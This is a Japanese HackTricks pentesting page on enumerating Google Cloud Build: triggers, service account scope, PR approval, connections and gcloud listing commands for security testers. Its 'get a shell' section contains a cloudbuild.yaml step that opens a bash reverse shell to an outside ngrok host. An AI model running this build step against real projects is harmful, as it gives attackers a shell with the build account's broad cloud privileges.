GCP - Cloud Build Enum

htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

基本情報

Google Cloud Buildは、ソースコードリポジトリと統合し、幅広いプログラミング言語をサポートする、ソフトウェアビルドとリリースプロセスを自動化するマネージドCI/CDプラットフォームです。開発者がコードを自動的にビルド、テスト、デプロイできるようにし、ビルドステップやワークフローをカスタマイズできます。

各Cloud Buildトリガーは、Cloudリポジトリに関連付けられているか、外部リポジトリ(Github、Bitbucket、Gitlab)と直接接続されています

ここからまたはCloudリポジトリからGithub/Bitbucketトークンを盗む方法は見当たりませんでした。リポジトリがダウンロードされると、https://source.cloud.google.com/のURLを介してアクセスされ、Githubはクライアントによってアクセスされません。

イベント

Cloud Buildは、次の場合にトリガーされます:

  • ブランチにプッシュ:ブランチを指定

  • 新しいタグをプッシュ:タグを指定

  • プルリクエスト:PRを受け取るブランチを指定

  • 手動呼び出し

  • Pub/Subメッセージ:トピックを指定

  • Webhookイベント:HTTPS URLを公開し、リクエストは秘密で認証される必要があります

実行

3つのオプションがあります:

  • 実行するコマンドを指定するyaml/json。通常は:/cloudbuild.yaml

  • WebコンソールとCLIで「インライン」で指定できる唯一のもの

    • 最も一般的なオプション

    • 認証されていないアクセスに関連する

  • ビルドするためのDockerfile

  • ビルドするためのBuildpack

SA権限

サービスアカウントにはcloud-platformスコープがありすべての特権を使用できます。SAが指定されていない場合(submitを行うときのように)、デフォルトのSA <proj-number>@cloudbuild.gserviceaccount.com使用されます

デフォルトでは権限が与えられていませんが、簡単に権限を与えることができます:

承認

Cloud Buildを構成して、ビルドの実行に承認が必要なようにすることができます(デフォルトでは無効)。

PR承認

トリガーがPRの場合、誰でもパブリックリポジトリにPRを行うことができるため、どのPRでもトリガーの実行を許可するのは非常に危険です。そのため、デフォルトでは、実行は所有者と共同作業者に対してのみ自動的に行われ、他のユーザーのPRでトリガーを実行するには、所有者または共同作業者が/gcbrunとコメントする必要があります。

接続とリポジトリ

接続は以下で作成できます:

  • GitHub: Githubトークンを取得するためにOAuthプロンプトが表示され、Secret Manager内に保存される

  • GitHub Enterprise: GithubAppをインストールするように求められます。GitHub Enterpriseホストからの認証トークンが作成され、このプロジェクト内にSecret Managerシークレットとして保存されます。

  • GitLab / Enterprise: APIアクセストークンとRead APIアクセストークンを提供する必要があり、Secret Managerに保存されます。

接続が生成されると、Githubアカウントがアクセス権を持つリポジトリをリンクすることができます。

このオプションは、次のボタンを介して利用できます:

この方法で接続されたリポジトリは、2世代を使用するトリガーでのみ利用可能です。

リポジトリの接続

これは**接続とは異なります。これにより、異なる方法でGithubまたはBitbucket**リポジトリにアクセスできますが、接続オブジェクトは生成されません。ただし、リポジトリオブジェクト(1世代)は生成されます。

このオプションは、次のボタンを介して利用できます:

ストレージ

時々、Cloud Buildはトリガーのためにファイルを保存するための新しいストレージを生成します。これは、GCPが提供する例で発生します。

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

シェルを取得

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Install gcloud inside cloud build:
クラウドビルド内でgcloudをインストールします:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

列挙

ビルド構成とログに機密情報が含まれている可能性があります

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

特権昇格

pageGCP - Cloudbuild Privesc

認証されていないアクセス

pageGCP - Cloud Build Unauthenticated Enum

攻撃後の処理

pageGCP - Cloud Build Post Exploitation
htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学びましょう!

HackTricksをサポートする他の方法:

最終更新